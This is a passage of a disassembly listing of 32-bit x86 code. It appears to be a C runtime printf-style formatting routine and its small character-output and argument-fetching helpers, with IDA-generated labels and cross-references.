		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_417D4A
; ---------------------------------------------------------------------------


loc_417D36:				; CODE XREF: sub_417C57+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41CCC7
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_417D4A:				; CODE XREF: sub_417C57+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_417D56
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_417D65
; ---------------------------------------------------------------------------


loc_417D56:				; CODE XREF: sub_417C57+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_417D68
; ---------------------------------------------------------------------------


loc_417D60:				; CODE XREF: sub_417C57+10j
					; sub_417C57+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_417D65:				; CODE XREF: sub_417C57+FDj
		or	eax, 0FFFFFFFFh


loc_417D68:				; CODE XREF: sub_417C57+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417C57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D6C	proc near		; CODE XREF: sub_415316+29p
					; sub_41588A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_418485
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_417DA0
; ---------------------------------------------------------------------------


loc_417D98:				; CODE XREF: sub_417D6C+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_417DA0:				; CODE XREF: sub_417D6C+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_418485
		cmp	bl, 20h
		jl	short loc_417DC1
		cmp	bl, 78h
		jg	short loc_417DC1
		movsx	eax, bl
		mov	al, [eax+421664h]
		and	eax, 0Fh
		jmp	short loc_417DC3
; ---------------------------------------------------------------------------


loc_417DC1:				; CODE XREF: sub_417D6C+40j
					; sub_417D6C+45j
		xor	eax, eax


loc_417DC3:				; CODE XREF: sub_417D6C+53j
		movsx	eax, byte_421684[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_418474	; default
		jmp	off_41848D[eax*4] ; switch jump


loc_417DE1:				; DATA XREF: seg001:off_41848Do
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00417DDA case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417DFC:				; CODE XREF: sub_417D6C+6Ej
					; DATA XREF: seg001:off_41848Do
		movsx	eax, bl		; jumptable 00417DDA case 2
		sub	eax, 20h
		jz	short loc_417E3F
		sub	eax, 3
		jz	short loc_417E36
		sub	eax, 8
		jz	short loc_417E2D
		dec	eax
		dec	eax
		jz	short loc_417E24
		sub	eax, 3
		jnz	loc_418474	; default
		or	[ebp+var_4], 8
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417E24:				; CODE XREF: sub_417D6C+A4j
		or	[ebp+var_4], 4
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417E2D:				; CODE XREF: sub_417D6C+A0j
		or	[ebp+var_4], 1
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417E36:				; CODE XREF: sub_417D6C+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417E3F:				; CODE XREF: sub_417D6C+96j
		or	[ebp+var_4], 2
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417E48:				; CODE XREF: sub_417D6C+6Ej
					; DATA XREF: seg001:off_41848Do
		cmp	bl, 2Ah		; jumptable 00417DDA case 3
		jnz	short loc_417E70
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41854B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_418474	; default
		or	[ebp+var_4], 4
		neg	eax


loc_417E68:				; CODE XREF: sub_417D6C+111j
		mov	[ebp+var_20], eax
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417E70:				; CODE XREF: sub_417D6C+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_417E68
; ---------------------------------------------------------------------------


loc_417E7F:				; CODE XREF: sub_417D6C+6Ej
					; DATA XREF: seg001:off_41848Do
		mov	[ebp+var_10], edx ; jumptable 00417DDA case 4
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417E87:				; CODE XREF: sub_417D6C+6Ej
					; DATA XREF: seg001:off_41848Do
		cmp	bl, 2Ah		; jumptable 00417DDA case 5
		jnz	short loc_417EAA
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41854B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_418474	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417EAA:				; CODE XREF: sub_417D6C+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417EBC:				; CODE XREF: sub_417D6C+6Ej
					; DATA XREF: seg001:off_41848Do
		cmp	bl, 49h		; jumptable 00417DDA case 6
		jz	short loc_417EEF
		cmp	bl, 68h
		jz	short loc_417EE6
		cmp	bl, 6Ch
		jz	short loc_417EDD
		cmp	bl, 77h
		jnz	loc_418474	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417EDD:				; CODE XREF: sub_417D6C+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417EE6:				; CODE XREF: sub_417D6C+158j
		or	[ebp+var_4], 20h
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417EEF:				; CODE XREF: sub_417D6C+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_417F08
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_417F08
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417F08:				; CODE XREF: sub_417D6C+186j
					; sub_417D6C+18Cj
		mov	[ebp+var_30], edx


loc_417F0B:				; CODE XREF: sub_417D6C+6Ej
					; DATA XREF: seg001:off_41848Do
		mov	ecx, off_437F20	; jumptable 00417DDA case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_417F37
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_4184AD
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_417F37:				; CODE XREF: sub_417D6C+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_4184AD
		add	esp, 0Ch
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417F4F:				; CODE XREF: sub_417D6C+6Ej
					; DATA XREF: seg001:off_41848Do
		movsx	eax, bl		; jumptable 00417DDA case 7
		cmp	eax, 67h
		jg	loc_418177
		cmp	eax, 65h
		jge	loc_417FFA
		cmp	eax, 58h
		jg	loc_418058
		jz	loc_4181EB
		sub	eax, 43h
		jz	loc_41801B
		dec	eax
		dec	eax
		jz	short loc_417FF0
		dec	eax
		dec	eax
		jz	short loc_417FF0
		sub	eax, 0Ch
		jnz	loc_418376
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_417F99
		or	byte ptr [ebp+var_4+1],	8


loc_417F99:				; CODE XREF: sub_417D6C+227j
					; sub_417D6C+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_417FA6
		mov	esi, 7FFFFFFFh


loc_417FA6:				; CODE XREF: sub_417D6C+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41854B
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_4181BF
		test	ecx, ecx
		jnz	short loc_417FCE
		mov	ecx, off_437F1C
		mov	[ebp+var_8], ecx


loc_417FCE:				; CODE XREF: sub_417D6C+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_417FD7:				; CODE XREF: sub_417D6C+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_4181B6
		cmp	word ptr [eax],	0
		jz	loc_4181B6
		inc	eax
		inc	eax
		jmp	short loc_417FD7
; ---------------------------------------------------------------------------


loc_417FF0:				; CODE XREF: sub_417D6C+212j
					; sub_417D6C+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_417FFA:				; CODE XREF: sub_417D6C+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4180DE
		mov	[ebp+var_10], 6
		jmp	loc_4180EC
; ---------------------------------------------------------------------------


loc_41801B:				; CODE XREF: sub_417D6C+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_418027
		or	byte ptr [ebp+var_4+1],	8


loc_418027:				; CODE XREF: sub_417D6C+2B5j
					; sub_417D6C+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41806E
		call	sub_418568
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41DA2B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_418081
		mov	[ebp+var_28], 1
		jmp	short loc_418081
; ---------------------------------------------------------------------------


loc_418058:				; CODE XREF: sub_417D6C+1FBj
		sub	eax, 5Ah
		jz	short loc_41808F
		sub	eax, 9
		jz	short loc_418027
		dec	eax
		jz	loc_418251
		jmp	loc_418376
; ---------------------------------------------------------------------------


loc_41806E:				; CODE XREF: sub_417D6C+2C5j
		call	sub_41854B
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_418081:				; CODE XREF: sub_417D6C+2E1j
					; sub_417D6C+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_418376
; ---------------------------------------------------------------------------


loc_41808F:				; CODE XREF: sub_417D6C+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41854B
		test	eax, eax
		pop	ecx
		jz	short loc_4180D0
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4180D0
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_4180C1
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_418376
; ---------------------------------------------------------------------------


loc_4180C1:				; CODE XREF: sub_417D6C+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_418373
; ---------------------------------------------------------------------------


loc_4180D0:				; CODE XREF: sub_417D6C+32Fj
					; sub_417D6C+336j
		mov	eax, off_437F18
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41816C
; ---------------------------------------------------------------------------


loc_4180DE:				; CODE XREF: sub_417D6C+29Dj
		jnz	short loc_4180EC
		cmp	bl, 67h
		jnz	short loc_4180EC
		mov	[ebp+var_10], 1


loc_4180EC:				; CODE XREF: sub_417D6C+2AAj
					; sub_417D6C:loc_4180DEj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43A280
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41813E
		cmp	[ebp+var_10], 0
		jnz	short loc_41813E
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43A28C
		pop	ecx


loc_41813E:				; CODE XREF: sub_417D6C+3BCj
					; sub_417D6C+3C2j
		cmp	bl, 67h
		jnz	short loc_418155
		test	esi, esi
		jnz	short loc_418155
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43A284
		pop	ecx


loc_418155:				; CODE XREF: sub_417D6C+3D5j
					; sub_417D6C+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41816B
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41816B:				; CODE XREF: sub_417D6C+3F0j
		push	edi


loc_41816C:				; CODE XREF: sub_417D6C+36Dj
		call	sub_415B10
		pop	ecx
		jmp	loc_418373
; ---------------------------------------------------------------------------


loc_418177:				; CODE XREF: sub_417D6C+1E9j
		sub	eax, 69h
		jz	loc_418251
		sub	eax, 5
		jz	loc_418227
		dec	eax
		jz	loc_418214
		dec	eax
		jz	short loc_4181E4
		sub	eax, 3
		jz	loc_417F99
		dec	eax
		dec	eax
		jz	loc_418255
		sub	eax, 3
		jnz	loc_418376
		mov	[ebp+var_2C], 27h
		jmp	short loc_4181F2
; ---------------------------------------------------------------------------


loc_4181B6:				; CODE XREF: sub_417D6C+270j
					; sub_417D6C+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_418373
; ---------------------------------------------------------------------------


loc_4181BF:				; CODE XREF: sub_417D6C+24Fj
		test	ecx, ecx
		jnz	short loc_4181CC
		mov	ecx, off_437F18
		mov	[ebp+var_8], ecx


loc_4181CC:				; CODE XREF: sub_417D6C+455j
		mov	eax, ecx


loc_4181CE:				; CODE XREF: sub_417D6C+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4181DD
		cmp	byte ptr [eax],	0
		jz	short loc_4181DD
		inc	eax
		jmp	short loc_4181CE
; ---------------------------------------------------------------------------


loc_4181DD:				; CODE XREF: sub_417D6C+467j
					; sub_417D6C+46Cj
		sub	eax, ecx
		jmp	loc_418373
; ---------------------------------------------------------------------------


loc_4181E4:				; CODE XREF: sub_417D6C+425j
		mov	[ebp+var_10], 8


loc_4181EB:				; CODE XREF: sub_417D6C+201j
		mov	[ebp+var_2C], 7


loc_4181F2:				; CODE XREF: sub_417D6C+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41825C
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41825C
; ---------------------------------------------------------------------------


loc_418214:				; CODE XREF: sub_417D6C+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41825C
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41825C
; ---------------------------------------------------------------------------


loc_418227:				; CODE XREF: sub_417D6C+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41854B
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_418240
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_418245
; ---------------------------------------------------------------------------


loc_418240:				; CODE XREF: sub_417D6C+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_418245:				; CODE XREF: sub_417D6C+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_418251:				; CODE XREF: sub_417D6C+2F7j
					; sub_417D6C+40Ej
		or	[ebp+var_4], 40h


loc_418255:				; CODE XREF: sub_417D6C+432j
		mov	[ebp+var_C], 0Ah


loc_41825C:				; CODE XREF: sub_417D6C+491j
					; sub_417D6C+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41826E
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_418558
		pop	ecx
		jmp	short loc_4182AF
; ---------------------------------------------------------------------------


loc_41826E:				; CODE XREF: sub_417D6C+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_418295
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41828A
		call	sub_41854B
		pop	ecx
		movsx	eax, ax


loc_418287:				; CODE XREF: sub_417D6C+527j
					; sub_417D6C+539j
		cdq
		jmp	short loc_4182AF
; ---------------------------------------------------------------------------


loc_41828A:				; CODE XREF: sub_417D6C+510j
		call	sub_41854B
		pop	ecx
		movzx	eax, ax
		jmp	short loc_418287
; ---------------------------------------------------------------------------


loc_418295:				; CODE XREF: sub_417D6C+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_4182A7
		call	sub_41854B
		pop	ecx
		jmp	short loc_418287
; ---------------------------------------------------------------------------


loc_4182A7:				; CODE XREF: sub_417D6C+531j
		call	sub_41854B
		pop	ecx
		xor	edx, edx


loc_4182AF:				; CODE XREF: sub_417D6C+500j
					; sub_417D6C+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4182D0
		test	edx, edx
		jg	short loc_4182D0
		jl	short loc_4182BF
		test	eax, eax
		jnb	short loc_4182D0


loc_4182BF:				; CODE XREF: sub_417D6C+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4182D4
; ---------------------------------------------------------------------------


loc_4182D0:				; CODE XREF: sub_417D6C+547j
					; sub_417D6C+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4182D4:				; CODE XREF: sub_417D6C+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4182DD
		and	edi, 0


loc_4182DD:				; CODE XREF: sub_417D6C+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4182EC
		mov	[ebp+var_10], 1
		jmp	short loc_4182F0
; ---------------------------------------------------------------------------


loc_4182EC:				; CODE XREF: sub_417D6C+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4182F0:				; CODE XREF: sub_417D6C+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4182FA
		and	[ebp+var_1C], 0


loc_4182FA:				; CODE XREF: sub_417D6C+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_418300:				; CODE XREF: sub_417D6C+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_418310
		mov	eax, esi
		or	eax, edi
		jz	short loc_41834B


loc_418310:				; CODE XREF: sub_417D6C+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_417100
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_417180
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_418341
		add	ebx, [ebp+var_2C]


loc_418341:				; CODE XREF: sub_417D6C+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_418300
; ---------------------------------------------------------------------------


loc_41834B:				; CODE XREF: sub_417D6C+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_418376
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_418369
		test	eax, eax
		jnz	short loc_418376


loc_418369:				; CODE XREF: sub_417D6C+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_418373:				; CODE XREF: sub_417D6C+35Fj
					; sub_417D6C+406j ...
		mov	[ebp+var_C], eax


loc_418376:				; CODE XREF: sub_417D6C+21Bj
					; sub_417D6C+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_418474	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_4183AE
		test	bh, 1
		jz	short loc_418393
		mov	[ebp+var_16], 2Dh
		jmp	short loc_4183A7
; ---------------------------------------------------------------------------


loc_418393:				; CODE XREF: sub_417D6C+61Fj
		test	bl, 1
		jz	short loc_41839E
		mov	[ebp+var_16], 2Bh
		jmp	short loc_4183A7
; ---------------------------------------------------------------------------


loc_41839E:				; CODE XREF: sub_417D6C+62Aj
		test	bl, 2
		jz	short loc_4183AE
		mov	[ebp+var_16], 20h


loc_4183A7:				; CODE XREF: sub_417D6C+625j
					; sub_417D6C+630j
		mov	[ebp+var_1C], 1


loc_4183AE:				; CODE XREF: sub_417D6C+61Aj
					; sub_417D6C+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4183CE
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4184E2
		add	esp, 10h


loc_4183CE:				; CODE XREF: sub_417D6C+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_418513
		add	esp, 10h
		test	bl, 8
		jz	short loc_418400
		test	bl, 4
		jnz	short loc_418400
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4184E2
		add	esp, 10h


loc_418400:				; CODE XREF: sub_417D6C+67Bj
					; sub_417D6C+680j
		cmp	[ebp+var_24], 0
		jz	short loc_418447
		cmp	[ebp+var_C], 0
		jle	short loc_418447
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_418415:				; CODE XREF: sub_417D6C+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41DA2B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41845C
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_418513
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_418415
		jmp	short loc_41845C
; ---------------------------------------------------------------------------


loc_418447:				; CODE XREF: sub_417D6C+698j
					; sub_417D6C+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_418513
		add	esp, 10h


loc_41845C:				; CODE XREF: sub_417D6C+6BCj
					; sub_417D6C+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_418474 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4184E2
		add	esp, 10h


loc_418474:				; CODE XREF: sub_417D6C+68j
					; sub_417D6C+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_417D98


loc_418485:				; CODE XREF: sub_417D6C+1Fj
					; sub_417D6C+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417D6C	endp

; ---------------------------------------------------------------------------
off_41848D	dd offset loc_417F0B	; DATA XREF: sub_417D6C+6Er
		dd offset loc_417DE1	; jump table for switch	statement
		dd offset loc_417DFC
		dd offset loc_417E48
		dd offset loc_417E7F
		dd offset loc_417E87
		dd offset loc_417EBC
		dd offset loc_417F4F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184AD	proc near		; CODE XREF: sub_417D6C+1BDp
					; sub_417D6C+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_4184C6
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4184D1
; ---------------------------------------------------------------------------


loc_4184C6:				; CODE XREF: sub_4184AD+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_417C57
		pop	ecx
		pop	ecx


loc_4184D1:				; CODE XREF: sub_4184AD+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4184DE
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4184DE:				; CODE XREF: sub_4184AD+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_4184AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184E2	proc near		; CODE XREF: sub_417D6C+65Ap
					; sub_417D6C+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_418510
		mov	esi, [esp+8+arg_C]


loc_4184F3:				; CODE XREF: sub_4184E2+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_4184AD
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_418510
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4184F3


loc_418510:				; CODE XREF: sub_4184E2+Bj
					; sub_4184E2+25j
		pop	edi
		pop	esi
		retn
sub_4184E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_418513	proc near		; CODE XREF: sub_417D6C+670p
					; sub_417D6C+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_418547
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_418529:				; CODE XREF: sub_418513+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_4184AD
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_418547
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_418529


loc_418547:				; CODE XREF: sub_418513+Cj
					; sub_418513+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_418513	endp


; =============== S U B	R O U T	I N E =======================================



sub_41854B	proc near		; CODE XREF: sub_417D6C+E5p
					; sub_417D6C+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41854B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418558	proc near		; CODE XREF: sub_417D6C+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_418558	endp


; =============== S U B	R O U T	I N E =======================================



sub_418568	proc near		; CODE XREF: sub_417D6C+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_418568	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418576	proc near		; CODE XREF: sub_4157F4+17p
					; sub_4157F4+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_418594
		mov	ecx, off_437F20
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_4185E6
; ---------------------------------------------------------------------------


